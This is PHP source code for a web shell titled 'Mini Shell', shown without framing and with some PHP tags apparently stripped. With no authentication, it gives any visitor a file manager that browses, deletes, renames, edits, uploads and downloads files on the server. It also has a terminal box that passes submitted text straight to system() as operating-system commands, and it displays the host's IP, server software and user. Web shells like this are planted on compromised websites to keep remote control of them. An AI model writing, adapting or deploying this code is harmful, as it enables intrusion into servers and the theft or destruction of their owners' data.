session_start();ob_start();$path = $_GET['path'] ?? getcwd();$files = scandir($path);$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';$server = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown';$user = get_current_user();$os = Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64;$writable = is_writable($path);$pathColor = $writable ? "green" : "red";// Deleteif (isset($_GET['delete'])) { $target = realpath($path . "/" . basename($_GET['delete'])); if (is_dir($target)) rmdir($target); elseif (is_file($target)) unlink($target); header("Location: ?path=" . urlencode($path)); exit;}// Renameif (isset($_POST['renamebtn'])) { $old = realpath($path . "/" . basename($_POST['oldname'])); $new = $path . "/" . basename($_POST['newname']); rename($old, $new); header("Location: ?path=" . urlencode($path)); exit;}// Save Editif (isset($_POST['saveedit'])) { $editPath = $path . "/" . basename($_POST['editfile']); file_put_contents($editPath, $_POST['newcontent']); echo "<div class='alert success'>✅ File updated!</div>";}// Downloadif (isset($_GET['download'])) { $dlPath = $path . "/" . basename($_GET['download']); if (is_file($dlPath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($dlPath).'"'); header('Content-Length: ' . filesize($dlPath)); readfile($dlPath); exit; }}<!DOCTYPE html>
Mini Shell <title>Mini Shell</title> <style> body { background:#f9f9f9; color:#111; font-family:monospace; padding:20px; } a, button { color:#007BFF; text-decoration:none; background:none; border:none; cursor:pointer; font-family:monospace; } a:hover, button:hover { text-decoration:underline; } .navbar { background:#eaeaea; padding:10px; border-bottom:1px solid #ccc; margin-bottom:20px; } .navbar span { margin-right:20px; } table { width:100%; border-collapse:collapse; } th, td { border:1px solid #ccc; padding:8px; text-align:left; } pre, textarea { background:#fff; color:#000; padding:10px; border:1px solid #ccc; width:100%; white-space:pre-wrap; } button.nav { margin:3px; padding:5px 10px; border:1px solid #ccc; background:#fff; color:#000; } .alert.success { background:#d4edda; border:1px solid #c3e6cb; color:#155724; padding:10px; margin:10px 0; } .alert.error { background:#f8d7da; border:1px solid #f5c6cb; color:#721c24; padding:10px; margin:10px 0; } .terminal-output { background:#fff; color:#000; border:1px solid #ccc; padding:10px; margin-top:10px; font-size:14px; white-space:pre-wrap; } .box { background:#f2f2f2; padding:15px; border:1px solid #ccc; margin-top:10px; } </style><div class="navbar"> <span>🧩 Mini Shell</span> <span>🌐 IP: = $ip </span> <span>🛠 Server: = $server </span> <span>👤 User: = $user </span></div><p>📂 Current Path: <span style="color:= $pathColor ">$parts = explode("/", $path);$breadcrumbs = '';foreach ($parts as $i => $part) { if ($part === '') continue; $breadcrumbs .= "/$part"; echo "/<a href='?path=" . urlencode($breadcrumbs) . "'>$part</a>";}</span></p>// Uploadif ($_FILES) { $target = $path . "/" . basename($_FILES["upload"]["name"]); if (move_uploaded_file($_FILES["upload"]["tmp_name"], $target)) { echo "<div class='alert success'>✅ Uploaded: " . htmlspecialchars($_FILES["upload"]["name"]) . "</div>"; } else { echo "<div class='alert error'>❌ Upload failed</div>"; }}
<hr>📁 File & Directory
$folders = [];$filesList = [];foreach ($files as $file) { if ($file === "." || $file === "..") continue; if (is_dir($path . "/" . $file)) $folders[] = $file; else $filesList[] = $file;}function print_row($file, $path) { $fullpath = $path . "/" . $file; $encodedPath = urlencode($path); $encodedFile = urlencode($file); $type = is_dir($fullpath) ? "Folder" : "File"; $size = is_file($fullpath) ? filesize($fullpath) . " B" : "-"; $mod = date("Y-m-d H:i:s", filemtime($fullpath)); echo ""; if (is_dir($fullpath)) { echo " | "; } else { echo "$file | "; } echo "$type | $size | $mod | "; echo "<a href='?path=$encodedPath&delete=$encodedFile' onclick='return confirm(\"Delete?\")'>❌ Delete</a> | <a href='?path=$encodedPath&rename=$encodedFile'>✏️ Rename</a>"; if (is_file($fullpath)) { echo " | <a href='?path=$encodedPath&view=$encodedFile'>👁️ View</a> | <a href='?path=$encodedPath&edit=$encodedFile'>📝 Edit</a> | <a href='?path=$encodedPath&download=$encodedFile'>📥 Download</a>"; } echo " |
";}echo "<th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Action</th>
";foreach ($folders as $f) print_row($f, $path);foreach ($filesList as $f) print_row($f, $path);echo "
";<hr>💻 Terminal Shell
if (isset($_POST['cmd'])) { echo "<div class='terminal-output'>"; $cmd = $_POST['cmd']; echo "<b style='color:#007BFF;'>$ $cmd\n"; system($cmd); echo "</div>";}// Semua Form di bawah terminalif (isset($_GET['edit'])) { $filepath = $path . "/" . basename($_GET['edit']); if (is_file($filepath)) { $content = htmlspecialchars(file_get_contents($filepath)); echo "<div class='box'>📝 Edit: " . htmlspecialchars($_GET['edit']) . "
"; echo "</div>"; }}if (isset($_GET['rename'])) { echo "<div class='box'>✏️ Rename: " . htmlspecialchars($_GET['rename']) . "
"; echo "</div>";}if (isset($_GET['view'])) { $filepath = $path . "/" . basename($_GET['view']); if (is_file($filepath)) { echo "<div class='box'>👁️ View: " . htmlspecialchars($_GET['view']) . "
"; echo "<pre>" . htmlspecialchars(file_get_contents($filepath)) . "</pre></div>"; }}